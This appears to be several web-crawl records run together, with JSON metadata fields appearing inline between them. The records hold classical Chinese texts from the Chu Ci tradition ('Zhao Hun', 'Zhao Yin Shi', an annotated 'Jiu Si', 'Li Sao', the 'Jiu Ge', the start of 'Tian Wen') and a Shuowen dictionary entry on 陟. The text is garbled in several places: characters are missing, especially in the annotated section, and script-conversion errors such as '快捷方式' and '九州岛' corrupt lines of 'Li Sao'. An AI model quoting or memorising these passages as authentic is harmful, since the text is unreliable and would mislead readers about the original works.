永歎。\n何時俗之工巧兮,背繩墨而改錯!却騏驥而不乘兮,策駑駘而取路。當世豈無騏驥兮?誠莫之能善御。見執轡者非其人兮,故駒跳而遠去。鳧鴈皆唼夫梁藻兮,鳳愈飄翔而高舉。圜鑿而方枘兮,吾固知其鉏鋙而難入。眾鳥皆有所登棲兮,鳳獨遑遑而無所集。願銜枚而無言兮,常被君之渥洽。太公九十乃顯榮兮,誠未遇其匹合。謂騏驥兮安歸?謂鳳皇兮安棲。變古易俗兮世衰,今之相者兮舉肥。騏驥伏匿而不見兮,鳳皇高飛而不下。鳥獸猶知懷德兮,何云賢士之不處?驥不驟進而求服兮,鳳亦不貪餧而妄食。君棄遠而不察兮,雖願忠其焉得?欲寂寞而絕端兮,竊不敢忘初之厚德。獨悲愁其傷人兮,馮鬱鬱其何極。\n宋玉〈招魂〉一首\n朕幼清以廉絜兮,身服義而未沬。主此盛德兮,牽於俗而蕪穢。上無所考此盛德兮,長離殃而愁苦。帝告巫陽曰:「有人在下,我欲輔之。魂魄離散,汝筮予之!」巫陽對曰:「掌夢!上帝其命難從!若必筮予之,恐後之謝,不能復用巫陽焉。」乃下招曰:\n魂兮來歸!去君之恒幹,何為兮四方些?舍君之樂處,而離彼不祥些。魂兮歸來!東方不可以託些。長人千仞,唯魂是索些。十日代出,流金鑠石些。彼皆習之,魂往必釋些。歸來歸來!不可以託些。魂兮歸來!南方不可以止些。雕題黑齒,得人肉而祀,以其骨為醢些。蝮蛇蓁蓁,封狐千里些。雄虺九首,往來倏忽,吞人以益其心些。歸來歸來!不可久淫些。魂兮歸來!西方之害,流沙千里些。旋入雷淵,爢散而不可止些。幸而得脫,其外曠宇些。赤蟻若象,玄蠭若壺些。五穀不生,叢菅是食些。其土爛人,求水無所得些。彷徉無所倚,廣大無所極些。歸來歸來!恐自遺賊些。魂兮歸來!北方不可以止些。增冰峨峨,飛雪千里些。歸來歸來!不可以久些。魂兮歸來!君無上天些。虎豹九關,啄害下人些。一夫九首,拔木九千些。豺狼從目,往來侁侁些。懸人以嬉,投之深淵些。致命於帝,然後得瞑些。歸來歸來!往恐危身些。魂兮歸來!君無下此幽都些。土伯九約,其角觺觺些。敦脄血拇,逐人駓駓些。參目虎首,其身若牛些。此皆甘人,歸來歸來!恐自遺災些。\n魂兮歸來!入脩門些。工祝招君,背行先些。秦篝齊縷,鄭緜絡些。招具該備,永嘯呼些。魂兮歸來!反故居些。天地四方,多賊姦些。像設君室,靜閒安些。高堂邃宇,檻層軒些。層臺累榭,臨高山些。網戶朱綴,刻方連些。冬有突夏,夏室寒些。川谷徑復,流潺湲些。光風轉蕙,氾崇蘭些。經堂入奧,朱塵筵些。砥室翠翹,絓曲瓊些。翡翠珠被,爛齊光些。蒻阿拂壁,羅幬張些。纂組綺縞,結琦璜些。室中之觀,多珍怪些。蘭膏明燭,華容備些。二八侍宿,射遞代些。九侯淑女,多迅眾些。盛鬋不同制,實滿宮些。容態好比,順彌代些。弱顏固植,謇其有意些。姱容脩態,絙洞房些。娥眉曼睩,目騰光些。靡顏膩理,遺視矊些。離榭脩幕,侍君之閒些。翡帷翠幬,飾高堂些。紅壁沙版,玄玉之梁些。仰觀刻桷,畫龍蛇些。坐堂伏檻,臨曲池些。芙蓉始發,雜芰荷些。紫莖屏風,文緣波些。文異豹飾,侍陂陀些。軒輬既低,步騎羅些。蘭薄戶樹,瓊木籬些。魂兮歸來!何遠為些。\n室家遂宗,食多方些。稻粢穱麥,挐黃梁些。大苦醎酸,辛甘行些。肥牛之腱,臑若芳些。和酸若苦,陳吳羹些。濡鼈炮羔,有柘漿些。鵠酸臇鳧,煎鴻鶬些。露雞臛蠵,厲而不爽些。粔籹蜜餌,有餦餭些。瑤漿蜜勺,實羽觴些。挫糟凍飲,酎清涼些。華酌既陳,有瓊漿些。歸來歸來反故室,敬而無妨些。\n肴羞未通,女樂羅些。陳鍾桉鼓,造新歌些。涉江采䔖,發楊荷些。美人既醉,朱顏𨠑些。娭光眇視,目曾波些。被文服纖,麗而不奇些。長髮曼鬋,豔陸離些。二八齊容,起鄭舞些。袵若交竿,撫案下些。竽瑟狂會,搷鳴鼓些。宮庭震驚,發激楚些。吳歈蔡謳,奏大呂些。士女雜坐,亂而不分些。放陳組纓,班其相紛些。鄭衛妖玩,來雜陳些。激楚之結,獨秀先些。菎蔽象棊,有六簙些。分曹並進,遒相迫些。成梟而牟,呼五白些。晉制犀比,費白日些。鏗鐘搖𠩺,揳梓瑟些。娛酒不廢,沈日夜些。蘭膏明燭,華鐙錯些。結撰至思,蘭芳假些。人有所極,同心賦些。酎飲既盡歡,樂先故些。魂兮歸來!反故居些。\n亂曰:獻歲發春兮,汨吾南征些。菉蘋齊葉兮,白芷生些。路貫廬江兮左長薄,倚沼畦瀛兮遙望博。青驪結駟兮齊千乘,懸火延起兮玄顏蒸。步及驟處兮誘騁先,抑騖若通兮引車右還,與王趨夢兮課後先,君王親發兮憚青兕。朱明承夜兮時不見淹,皋蘭被徑兮斯路漸,湛湛江水兮上有楓,目極千里兮傷春心,魂兮歸來哀江南!\n劉安〈招隱士〉一首\n桂樹叢生兮山之幽,偃謇連卷兮枝相繚。山氣隴嵸兮石嵯峨,谿谷嶄巖兮水曾波。蝯狖群嘯兮虎豹嗥,攀援桂枝兮聊淹留。王孫遊兮不歸,春草生兮萋萋。歲暮兮不自聊,蟪蛄鳴兮啾啾。坱兮軋,山曲岪,心淹留兮洞荒忽。罔兮沕,憭兮慄。虎豹岤,叢薄深林兮人上慄,嶔崟碕礒兮硱磈磳硊。樹輪相糺兮林木茇𩨒。青莎雜樹兮薠草靃靡。白鹿麕麚兮或騰或倚。狀貌崟崟兮峨峨,淒淒兮漇漇。獮猴兮熊羆,慕類兮以悲,攀援桂枝兮聊淹留。虎豹鬭兮熊羆咆,禽獸駭兮亡其曹。王孫兮歸來,山中兮不可以久留。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/core.xueheng.net\/wen_xuan\/0033.htm","date":"2023-03-22T03:53:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943749.68\/warc\/CC-MAIN-20230322020215-20230322050215-00793.warc.gz","language":"lzh","language_score":0.4849919379,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4849919378757477, \"cmn_Hani_score\": 0.24010032415390015, \"nan_Hani_score\": 0.0605132170021534, \"zxx_Latn_score\": 0.028059402480721474, \"jpn_Jpan_score\": 0.02014736272394657, \"wuu_Hani_score\": 0.01862000674009323, \"yue_Hani_score\": 0.016534198075532913, \"und_Tang_score\": 0.015641475096344948}","num_words":26,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.277,"perplexity_score":500.0,"cluster_detection":1} +{"text":"古文陟。\n釋詁曰。陟、陞也。毛傳曰。陟、𦫵也。陞者、𦫵之俗字。𦫵者、登之叚借。禮喪服注曰。今文禮皆登爲𦫵。俗誤巳行久矣。據鄭說則古文禮皆作登也。許此作登不作𦫵者、許書說解不用叚借字也。漢人用同音字代本字。旣乃不知有本字。所謂本有其字、依聲託事者然也。\n謂緣𨸏而步也。𨸏有層次可尋。是謂會意。竹力切。一部。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.shuowen.org\/view\/9594?bushou=%F0%A8%B8%8F","date":"2024-03-03T06:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476205.65\/warc\/CC-MAIN-20240303043351-20240303073351-00699.warc.gz","language":"lzh","language_score":0.4219931662,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4219931662082672, \"cmn_Hani_score\": 0.2522713541984558, \"jpn_Jpan_score\": 0.19997228682041168, \"yue_Hani_score\": 0.06593861430883408, \"wuu_Hani_score\": 0.05184414982795715}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鸿卢兮振翅,\n雁之大者曰鸿卢。卢,也。振翅,将飞也。\n归雁兮于征。\n征,行也。言将去。\n吾志兮觉悟,怀我兮圣京。垂屣兮将起,主兮硕明。\n《释文》垂作,硕一作氵页。\n○伤时\n惟昊天兮昭灵,阳气发兮清明。\n昊天,夏天也。昭,明也。灵,神也。\n风习习兮暖,\n暖一作,古作需。\n百草萌兮华荣。\n荣一作英。\n堇荼茂兮扶疏,\n堇,角刂也。荼,苦菜也。扶一作敷。\n蘅芷兮莹冥。\n蘅,杜蘅。芷,若芷。皆香草。冥一作冥。\n愍贞良兮遇害,将夭折兮碎糜。\n糜一作{靡灬}。\n时混混兮浇,\n,餐也。混混,浊也。言如浇之乱也。餐一作餮。\n哀当世兮莫知。览往昔兮俊彦,亦诎辱兮系累。\n《释文》累作累。\n管束缚兮桎梏,百易兮傅卖。\n遭桓缪兮识举,\n管,管仲;百,百里奚也。管仲为鲁所囚,齐桓释而任之。百里奚,晋徒役,秦缪以五之皮赎之为相也。\n才德用兮列施。\n德一作得。闻氏《校补》谓列读如烈,言功烈。\n且从容兮自慰,玩琴书兮游戏。\n以古贤者皆然,缓己忧也。\n迫中国兮迮荚,\n迮荚一作窄陕。\n吾欲之兮九夷。\n子欲居九夷,疾时之言也。\n超五岭兮嵯峨,\n超,越也。将之九夷,先历五岭之山,言艰难也。\n观浮石兮崔嵬。\n东有浮石之山。崔嵬,山形。\n陟丹山兮炎野,\n复之南方。丹山、炎野,皆在南方也。\n屯余车兮黄支。\n一本在下句就祝融兮稽疑下。\n就祝融兮稽疑,\n黄支,南极国名也。祝融,赤帝之神。稽,合也。所以折谋,求安己之处也。\n嘉己行兮无为。\n嘉,善也。言祝融善己之处。\n乃回兮北逝,\n复旋至北方也。回一作回。\n遇神兮宴矣。\n,北方之神名也。言遇神宴而待之。一作,《释文》作。\n欲静居兮自娱,心愁兮不能。\n一作戚。\n放余辔兮策驷,\n复欲去也。放一作收。\n忽飚腾兮浮云。\n一云忽风腾兮云浮。\n飞杭兮越海,\n一作跖。\n从安期兮蓬莱。\n蓬莱,海中山名也。安期生,仙人名也。言欲往求仙也。\n缘天梯兮北上,登太一兮玉台。\n太一,天帝所在,以王为台也。登一作升。\n使素女兮鼓簧,乘戈兮谣讴。\n乘戈,仙人也。和素女而歌也。\n声敫讠兆兮清和,\n敫讠兆,清畅貌。敫《释文》作激。\n音晏衍兮要淫。\n要淫,舞容也。\n咸欣欣兮酣乐,余眷眷兮独悲。\n言天神众舞皆喜乐,独己怀哀也。\n顾章华兮太息,\n章华,楚台名也。太息,忧叹也。\n志恋恋兮依依。\n恋一作郁。\n○哀岁\n天兮清凉,\n秋天为天。秋节至故清日凉也。\n玄气兮高朗。\n秋冬阳气升,故高朗也。朗一作明。\n北风兮潦冽,\n寒节至也。冽一作烈。\n草木兮苍唐。\n始凋也。\n伊兮噍噍,\n促寒将蛰,故噍噍鸣。\n即蛆兮穰穰。\n将变貌。\n岁忽忽兮惟暮,余感时兮凄怆。\n感时以悲思也。\n伤时兮泥浊,蒙蔽兮不章。宝彼兮沙砾,捐此兮夜光。\n夜光,明珠也。\n椒瑛兮涅,{苔木}耳兮充房。\n{苔木}耳,恶草名也。\n摄衣兮缓带,操我兮墨阳。\n墨阳,剑名。\n车兮命仆,将驰兮四方。\n四裔谓之四荒。\n下堂兮见虿,\n虿,土螽也,喻佞人。欲害贤如虿之有螫毒。\n出门兮触螽。巷有兮蚰蜒,邑多兮螳螂。睹斯兮嫉贼,\n心为兮切伤。\n亻免念兮子胥,仰怜兮比干。投剑兮脱冕,龙屈兮蜿巽。\n蜿巽,自迫促貌。\n潜藏兮山泽,匍匐兮丛攒。\n丛攒,罗布也。\n窥见兮溪涧,水流兮。\n,沸流。\n鼋鼍兮欣欣,占兮延延。群行兮上下,骈罗兮列陈。自恨兮无友,特处兮茕茕。\n茕茕,独行貌。\n冬夜兮陶陶,\n陶陶,长貌。\n雨雪兮冥冥。神光兮,鬼火兮荧荧。\n神光,山川之精,能为光者也。荧荧,小火也。\n德兮困控,\n将谁困控,言无引己也。徐仁甫曰:\"困,穷也,引申为无。无控,言无人引己也。\"\n愁不聊兮遑生。忧纡兮郁郁,恶所为兮写情。\n遑,暇。\n○守志\n陟玉峦兮逍遥,\n玉峦,昆仑山也。山脊曰峦。逍遥,须臾也。\n览高风兮。\n山岭曰风。,特高也。\n桂树列兮纷敷,\n昆仑山多桂树,纷错敷衍。\n吐紫华兮布条。\n桂华紫色,布敷条枝。\n实孔鸾兮所居,\n孔鸾,大鸟。\n今其集兮惟。\n,小鸟也。以言名山宜神鸟处之,犹朝廷宜贤者居位,而今惟小人,故云\"萃之\"也。\n乌鹊惊兮哑哑,\n神鸟至则众鸟集从,今反往处之,故惊而鸣也。\n余顾瞻兮怊怊。\n怊怊,四远貌。\n彼日月兮ウ昧,\n日月无光,云雾之所藏;人君昏乱,佞邪之所惑。\n障复天兮氛。\n,恶气貌。\n伊我后兮不,\n后,君。\n焉陈诚兮效忠。\n摅羽翮兮超俗,\n无所其忠诚,故翻飞而去也。\n游陶遨兮养神。\n陶遨,心无所系。\n乘六蛟兮蜿蝉,\n蜿蝉,群蛟之形也。\n遂驰骋兮升云。扬彗光兮为旗,秉电策兮为鞭。\n复欲升天求仙人也。\n朝晨发兮鄢郢,\n郢,楚都也。\n食时至兮增泉。\n增泉,天汉也。\n绕曲阿兮北次,\n次,舍。\n造我车兮南端。\n复适南方也。\n谒玄黄兮纳赞,\n玄黄,中央之帝也。\n崇忠贞兮弥坚。\n虽遥荡天际之间,不失其忠诚也。\n历九宫兮彳扁观,\n九宫,天之官也。\n睹秘藏兮珍宝。就傅说兮骑龙,\n傅说,殷王武丁之贤相也,死补辰宿。\n与织女兮合婚。举天兮掩邪,\n,宿名也。毕有囚奸名,故欲以掩取邪佞之人也。\n彀天弧兮奸。\n弧,亦星名也。弧矢弓弩,故欲以奸人也。\n随时真人兮翱翔,\n真,仙人也。\n食元气兮长存。\n元气,天气。\n望太微兮穆穆,\n太微,天之中宫。穆穆,和顺也。\n睨三阶兮炳分。\n太微之阶。\n相辅政兮成化,建烈业兮垂动。\n当与众仙共辅天帝,成化而建功也。\n目瞥瞥兮西没,\n闻氏《校补》谓目当作日,字之讹也。\n道遐迥兮阻叹。\n闻氏《校补》谓叹即艰之讹。\n志畜积兮未通,怅敞罔兮自怜。\n言升仙之事迫而不通,故使志不展而自伤也。\n乱曰:天庭明兮云霓藏,三光朗兮镜万方。\n天清则云霓除,日月星辰昭,君明下理,贤愚得所也。\n斥蜴兮进龟龙,策谋从兮翼机衡。\n蜴,喻小人。龟龙,喻君子。璇玑玉衡,以喻君能任贤,斥去小人,以自辅翼也。一云奋策谋兮。\n配稷契兮恢唐功,\n配,匹也。恢,大。唐,尧也。稷、契,尧佐也。言遇明君则当与稷契恢夫尧舜之善也。一曰恢虞功。\n嗟英俊兮未为双。\n双,匹也。\n《楚辞》精校本\n离骚经 九歌 天问 九章 远游 卜居 渔父 九辩 招魂 大招 惜誓 招隐士 七谏 哀时命 九怀 九叹 九思\n楚辞卷第一\n离骚经第一\n帝高阳之苗裔兮,朕皇考曰伯庸。摄提贞于孟陬兮,惟庚寅吾以降。皇览揆余初度兮,肇锡余以嘉名:名余曰正则兮,字余曰灵均。纷吾既有此内美兮,又重之以修能。扈江离与辟芷兮,纫秋兰以为佩。汨余若将不及兮,恐年岁之不吾与。朝搴阰之木兰兮,夕揽洲之宿莽。日月忽其不淹兮,春与秋其代序。惟草木之零落兮,恐美人之迟暮。不抚壮而弃秽兮,何不改乎此度?乘骐骥以驰骋兮,来吾道夫先路!昔三后之纯粹兮,固众芳之所在。杂申椒与菌桂兮,岂维纫夫蕙茞!彼尧、舜之耿介兮,既遵道而得路。何桀纣之昌披兮,夫唯快捷方式以窘步。惟党人之偷乐兮,路幽昧以险隘。岂余身之僤殃兮,恐皇舆之败绩!忽奔走以先后兮,及前王之踵武。荃不揆余之中情兮,反信谗以齌怒。余固知謇謇之为患兮,忍而不能舍也。指九天以为正兮,夫唯灵修之故也。[曰黄昏以为期兮,羌中道而改路!]初既与余成言兮,后悔遁而有他。余既不难夫离别兮,伤灵修之数化。余既滋兰之九畹兮,又树蕙之百亩。畦留夷与揭车兮,杂杜衡与芳芷。冀枝叶之峻茂兮,愿俟时乎吾将刈。虽萎绝其亦何伤兮,哀众芳之芜秽。众皆竞进以贪婪兮,凭不厌乎求索。羌内恕己以量人兮,各兴心而嫉妒。忽驰骛以追逐兮,非余心之所急。老冉冉其将至兮,恐修名之不立。朝饮木兰之坠露兮,夕餐秋菊之落英。苟余情其信姱以练要兮,长顑颔亦何伤。掔木根以结茞兮,贯薜荔之落蕊。矫菌桂以纫蕙兮,索胡绳之纚纚。謇吾法夫前修兮,非世俗之所服。虽不周于今之人兮,愿依彭咸之遗则。长太息以掩涕兮,哀民生之多艰。余虽好修姱以鞿羁兮,謇朝谇而夕替。既替余以蕙纕兮,又申之以揽茞。亦余心之所善兮,虽九死其犹未悔。怨灵修之浩荡兮,终不察夫民心。众女嫉余之蛾眉兮,谣诼谓余以善淫。固时俗之工巧兮,偭规矩而改错。背绳墨以追曲兮,竞周容以为度。忳郁邑余佗傺兮,吾独穷困乎此时也。宁溘死以流亡兮,余不忍为此态也。鸷鸟之不群兮,自前世而固然。何方圜之能周兮,夫孰异道而相安?屈心而抑志兮,忍尤而攘诟。伏清白以死直兮,固前圣之所厚。悔相道之不察兮,延伫乎吾将反。回朕车以复路兮,及行迷之未远。步余马于兰皋兮,驰椒丘且焉止息。进不入以离尤兮,退将复修吾初服。制芰荷以为衣兮,集芙蓉以为裳。不吾知其亦已兮,苟余情其信芳。高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。忽反顾以游目兮,将往观乎四荒。佩缤纷其繁饰兮,芳菲菲其弥章。民生各有所乐兮,余独好修以为常。虽体解吾犹未变兮,岂余心之可惩。女嬃之婵媛兮,申申其詈予,曰:\"鲧婞直以亡身兮,终然殀乎羽之野。汝何博謇而好修兮,纷独有此姱节?薋菉葹以盈室兮,判独离而不服。\"众不可户说兮,孰云察余之中情?世并举而好朋兮,夫何茕独而不予听?依前圣以节中兮,喟凭心而历兹。济沅、湘以南征兮,就重华而敶词:启《九辨》与《九歌》兮,夏康娱以自纵。不顾难以图后兮,五子用失乎家衖。羿淫游以佚畋兮,又好射夫封狐。固乱流其鲜终兮,浞又贪夫厥家。浇身被服强圉兮,纵欲而不忍。日康娱而自忘兮,厥首用夫颠陨。夏桀之常违兮,乃遂焉而逢殃。后辛之菹醢兮,殷宗用而不长。汤、禹俨而祗敬兮,周论道而莫差。举贤才而授能兮,循绳墨而不颇。皇天无私阿兮,览民德焉错辅。夫维圣哲以茂行兮,苟得用此下土。瞻前而顾后兮,相观民之计极。夫孰非义而可用兮?孰非善而可服?阽余身而危死兮,览余初其犹未悔。不量凿而正枘兮,固前修以菹醢。曾歔欷余郁邑兮,哀朕时之不当。揽茹蕙以掩涕兮,沾余襟之浪浪。跪敷衽以陈辞兮,耿吾既得此中正。驷玉虬以桀鹥兮,溘埃风余上征。朝发轫于苍梧兮,夕余至乎县圃。欲少留此灵琐兮,日忽忽其将暮。吾令羲和弭节兮,望崦嵫而勿迫。路曼曼其修远兮,吾将上下而求索。饮余马于咸池兮,总余辔乎扶桑。折若木以拂日兮,聊逍遥以相羊。前望舒使先驱兮,后飞廉使奔属。鸾皇为余先戒兮,雷师告余以未具。吾令凤鸟飞腾兮,继之以日夜。飘风屯其相离兮,帅云霓而来御。纷总总其离合兮,斑陆离其上下。吾令帝阍开关兮,倚阊阖而望予。时暧暧其将罢兮,结幽兰而延伫。世溷浊而不分兮,好蔽美而嫉妒。朝吾将济于白水兮,登阆风而绁马。忽反顾以流涕兮,哀高丘之无女。溘吾游此春宫兮,折琼枝以继佩。及荣华之未落兮,相下女之可诒。吾令丰隆乘云兮,求宓妃之所在。解佩纕以结言兮,吾令謇修以为理。纷总总其离合兮,忽纬繣其难迁。夕归次于穷石兮,朝濯发乎洧盘。保厥美以骄傲兮,日康娱以淫游。虽信美而无礼兮,来违弃而改求。览相观于四极兮,周流乎天余乃下。望瑶台之偃蹇兮,见有娀之佚女。吾令鸩为媒兮,鸩告余以不好。雄鸠之鸣逝兮,余犹恶其佻巧。心犹豫而狐疑兮,欲自适而不可。凤皇既受诒兮,恐高辛之先我。欲远集而无所止兮,聊浮游以逍遥。及少康之未家兮,留有虞之二姚。理弱而媒拙兮,恐导言之不固。世溷浊而嫉贤兮,好蔽美而称恶。闺中既以邃远兮,哲王又不寤。怀朕情而不发兮,余焉能忍而与此终古?索琼茅以筳篿兮,命灵氛为余占之。曰:\"两美其必合兮,孰信修而慕之?思九州岛之博大兮,岂惟是其有女?\"曰:\"勉远逝而无狐疑兮,孰求美而释女?何所独无芳草兮,尔何怀乎故宇?\"世幽昧以昡曜兮,孰云察余之善恶?民好恶其不同兮,惟此党人其独异!户服艾以盈要兮,谓幽兰其不可佩。览察草木其犹未得兮,岂珵美之能当?苏粪壤以充祎兮,谓申椒其不芳。欲从灵氛之吉占兮,心犹豫而狐疑。巫咸将夕降兮,怀椒糈而要之。百神翳其备降兮,九疑缤其并迎。皇剡剡其扬灵兮,告余以吉故。曰:\"勉升降以上下兮,求矩矱之所同。汤、禹俨而求合兮,挚、咎繇而能调。苟中情其好修兮,又何必用夫行媒?说操筑于傅岩兮,武丁用而不疑。吕望之鼓刀兮,遭周文而得举。宁戚之讴歌兮,齐桓闻以该辅。及年岁之未晏兮,时亦犹其未央。恐鹈鴃之先鸣兮,使夫百草为之不芳。\"何琼佩之偃蹇兮,众薆然而蔽之。惟此党人之不谅兮,恐嫉妒而折之。时缤纷其变易兮,又何可以淹留?兰芷变而不芳兮,荃蕙化而为茅。何昔日之芳草兮,今直为此萧艾也?岂其有他故兮,莫好修之害也!余以兰为可恃兮,羌无实而容长。委厥美以从俗兮,苟得列乎众芳。椒专佞以慢慆兮,樧又欲充夫佩帏。既干进而务入兮,又何芳之能祗?固时俗之流从兮,又孰能无变化?览椒兰其若兹兮,又况揭车与江离?惟兹佩之可贵兮,委厥美而历兹。芳菲菲而难亏兮,芬至今犹未沬。和调度以自娱兮,聊浮游而求女。及余饰之方壮兮,周流观乎上下。灵氛既告余以吉占兮,历吉日乎吾将行。折琼枝以为羞兮,精琼爢以为粻。为余驾飞龙兮,杂瑶象以为车。何离心之可同兮?吾将远逝以自疏。邅吾道夫昆仑兮,路修远以周流。扬云霓之晻蔼兮,鸣玉鸾之啾啾。朝发轫于天津兮,夕余至乎西极。凤皇翼其承旗兮,高翱翔之翼翼。忽吾行此流沙兮,遵赤水而容与。麾蛟龙使梁津兮,诏西皇使涉予。路修远以多艰兮,腾众车使径待。路不周以左转兮,指西海以为期。屯余车其千乘兮,齐玉轪而并驰。驾八龙之婉婉兮,载云旗之委蛇。抑志而弭节兮,神高驰之邈邈。奏《九歌》而舞《韶》兮,聊假日以偷乐。陟升皇之赫戏兮,忽临睨夫旧乡。仆夫悲余马怀兮,蜷局顾而不行。乱曰:已矣哉!国无人莫我知兮,又何怀乎故都!既莫足与为美政兮,吾将从彭咸之所居!\n楚辞卷第二\n九歌\n东皇太一\n吉日兮辰良,穆将愉兮上皇。抚长剑兮玉珥,璆锵鸣兮琳琅。瑶席兮玉瑱,盍将把兮琼芳。蕙肴蒸兮兰藉,奠桂酒兮椒浆。扬枹兮拊鼓,疏缓节兮安歌,陈竽瑟兮浩倡。灵偃蹇兮姣服,芳菲菲兮满堂。五音纷兮繁会,君欣欣兮乐康。\n云中君\n浴兰汤兮沐芳,华采衣兮若英。灵连蜷兮既留,烂昭昭兮未央。搴将憺兮寿宫,与日月兮齐光。龙驾兮帝服,聊翱游兮周章。灵皇皇兮既降,焱远举兮云中。览冀州兮有余,横四海兮焉穷。思夫君兮太息,极劳心兮忡忡。\n湘君\n君不行兮夷犹,蹇谁留兮中洲?美要眇兮宜修,沛吾乘兮桂舟。令沅、湘兮无波,使江水兮安流。望夫君兮未来,吹参差兮谁思?驾飞龙兮北征,邅吾道兮洞庭。薜荔柏兮蕙绸,荪桡兮兰旌。望涔阳兮极浦,横大江兮扬灵。扬灵兮未极,女婵媛兮为余太息!横流涕兮潺湲,隐思君兮陫侧。桂棹兮兰枻,斲冰兮积雪。采薜荔兮水中,搴芙蓉兮木末。心不同兮媒劳,恩不甚兮轻绝。石濑兮浅浅,飞龙兮翩翩。交不忠兮怨长,期不信兮告余以不间。朝骋骛兮江皋,夕弭节兮北渚。鸟次兮屋上,水周兮堂下。捐余玦兮江中,遗余佩兮澧浦。采芳洲兮杜若,将以遗兮下女。时不可兮再得,聊逍遥兮容与。\n湘夫人\n帝子降兮北渚,目眇眇兮愁予。袅袅兮秋风,洞庭波兮木叶下。白薠兮骋望,与佳期兮夕张。鸟萃兮苹中?罾何为兮木上?沅有芷兮澧有兰,思公子兮未敢言。荒忽兮远望,观流水兮潺湲。麋何食兮庭中?蛟何为兮水裔?朝驰余马兮江皋,夕济兮西澨。闻佳人兮召予,将腾驾兮偕逝。筑室兮水中,葺之兮荷盖。荪壁兮紫坛,匊芳椒兮成堂。桂栋兮兰橑,辛夷楣兮药房。罔薜荔兮为帷,薜蕙櫋兮既张。白玉兮为镇,疏石兰兮为芳。芷葺兮荷屋,缭之兮杜衡。合百草兮实庭,建芳馨兮庑门。九嶷缤兮并迎,灵之来兮如云。捐余袂兮江中,遗余褋兮澧浦。搴汀洲兮杜若,将以遗兮远者。时不可兮骤得,聊逍遥兮容与。\n大司命\n广开兮天门,纷吾乘兮玄云。令飘风兮先驱,使涷雨兮洒尘。君回翔兮以下,踰空桑兮从女。纷总总兮九州岛,何寿夭兮在予!高飞兮安翔,乘清气兮御阴阳。吾与君兮斋速,导帝之兮九坑。灵衣兮被被,玉佩兮陆离。壹阴兮壹阳,众莫知兮余所为。折疏麻兮瑶华,将以遗兮离居。老冉冉兮既极,不寖近兮愈疏。乘龙兮辚辚,高驰兮冲天。结桂枝兮延□,羌愈思兮愁人。愁人兮奈何!愿若今兮无亏。固人命兮有当,孰离合兮可为?\n少司命\n秋兰兮麋芜,罗生兮堂下。绿叶兮素枝,芳菲菲兮袭予。夫人自有兮美子,荪何以兮愁苦?秋兰兮青青,绿叶兮紫茎。满堂兮美人,忽独与余兮目成。入不言兮出不辞,乘回风兮载云旗。悲莫悲兮生别离,乐莫乐兮新相知。荷衣兮蕙带,儵而来兮忽而逝。夕宿兮帝郊,君谁须兮云之际?与女游兮九河,冲风至兮水扬波。与女沐兮咸池,晞女发兮阳之阿。望泞美兮未来,临风怳兮浩歌。孔盖兮翠旍,登九天兮抚彗星。怂长剑兮拥幼艾,荪独宜兮为民正。\n东君\n暾将出兮东方,照吾槛兮扶桑。抚余马兮安驱,夜皎皎兮既明。驾龙辀兮乘雷,载云旗兮委蛇。长太息兮将上,心低佪兮顾怀。羌声色兮娱人,观者憺兮忘归。緪瑟兮交鼓,箫锺兮瑶□。鸣箎兮吹竽,思灵保兮贤姱。翾飞兮翠曾,展诗兮会舞。应律兮合节,灵之来兮蔽日。青云衣兮白霓裳,举长矢兮射天狼。操余弧兮反沦降,援北斗兮酌桂浆。撰余辔兮高驰翔,杳冥冥兮以东行。\n河伯\n与女游兮九河,冲风起兮横波。乘水车兮荷盖,驾两龙兮骖螭。登昆仑兮四望,心飞扬兮浩荡。日将暮兮怅忘归,惟极浦兮寤怀。鱼鳞屋兮龙堂,紫贝阙兮朱宫。灵何为兮水中?乘白鼋兮逐文鱼,与女游兮河之渚,流澌纷兮将来下。子交手兮东行,送美人兮南浦。波滔滔兮来迎,鱼邻邻兮媵予。\n山鬼\n若有人兮山之阿,被薜荔兮带女萝。既含睇兮又宜笑,子慕予兮善窈窕。乘赤豹兮从文狸,辛夷车兮结桂旗。被石兰兮带杜衡,折芳馨兮遗所思。余处幽篁兮终不见天,路险难兮独后来。表独立兮山之上,云容容兮而在下。杳冥冥兮羌昼晦,东风飘兮神灵雨。留灵修兮憺忘归,岁既晏兮孰华予?采三秀兮于山间,石磊磊兮葛曼曼。怨公子兮怅忘归,君思我兮不得闲。山中人兮芳杜若,饮石泉兮荫松柏。君思我兮然疑作。雷填填兮雨冥冥,□啾啾兮又夜鸣。风飒飒兮木萧萧,思公子兮徒离忧。\n国殇\n操吾戈兮披犀甲,车错毂兮短兵接。旌蔽日兮敌若云,矢交坠兮土争先。凌余阵兮躐余行,左骖殪兮右刃伤。霾两轮兮絷四马,援玉枹兮击鸣鼓。天时怼兮威灵怒,严杀尽兮弃原野。出不入兮往不反,平原忽兮路超远。带长剑兮挟秦弓,首身离兮心不惩。诚既勇兮又以武,终刚强兮不可凌。身既死兮神以灵,魂魄毅兮为鬼雄。\n礼魂\n成礼兮会鼓,传芭兮代舞。姱女倡兮容与。春兰兮秋鞠,长无绝兮终古。\n楚辞卷第三\n天问第三\n曰遂古之初,谁传道之?上下未形,何由考之?冥昭瞢闇,谁能极之?冯翼惟像,何以识之?明明闇闇,惟时何为?阴阳三合,何本何化?圜则九重,孰营度之?惟兹何功,孰初作之?斡维焉系,天极焉加?八柱何当,东南何亏?九天之际,安放安属?隅隈多有,谁知其数?天何所沓?十二焉分?日月安属?列星安陈?出自汤谷,次于蒙泛。自明及晦,所行几里?夜光何德,死则又育?厥利维何,而顾菟在腹?女歧无合,夫焉取九子?伯强何处?惠气安在?何阖而晦?何开而明?角宿未旦,曜灵安藏?不任汩鸿,师何以尚之?佥曰\"